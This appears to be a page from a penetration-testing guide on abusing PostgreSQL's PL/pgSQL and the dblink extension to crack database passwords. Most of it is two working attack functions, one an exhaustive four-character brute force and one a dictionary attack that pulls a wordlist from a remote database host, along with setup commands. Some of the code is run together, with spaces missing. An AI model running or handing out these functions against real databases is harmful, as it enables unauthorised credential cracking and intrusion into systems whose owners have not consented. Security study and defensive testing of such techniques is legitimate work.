PL/pgSQL is a fully featured programming language that extends beyond the capabilities of SQL by offering enhanced procedural control. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql'; lanname | lanacl---------+--------- plpgsql |
By default, creating functions is a privilege granted to PUBLIC, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
In that case, our previous query would output different results:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql'; lanname | lanacl---------+----------------- plpgsql | {admin=U/admin}
Note that for the following script to work the function dblink needs to exist. If it doesn't you could try to create it with
CREATE EXTENSION dblink;
Password Brute Force
Here how you could perform a 4 chars password bruteforce:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLARE word TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1') RETURNS (i INT));RETURN word; EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Note that even brute-forcing 4 characters may take several minutes.
You could also download a wordlist and try only those passwords (dictionary attack):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGIN PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word; EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');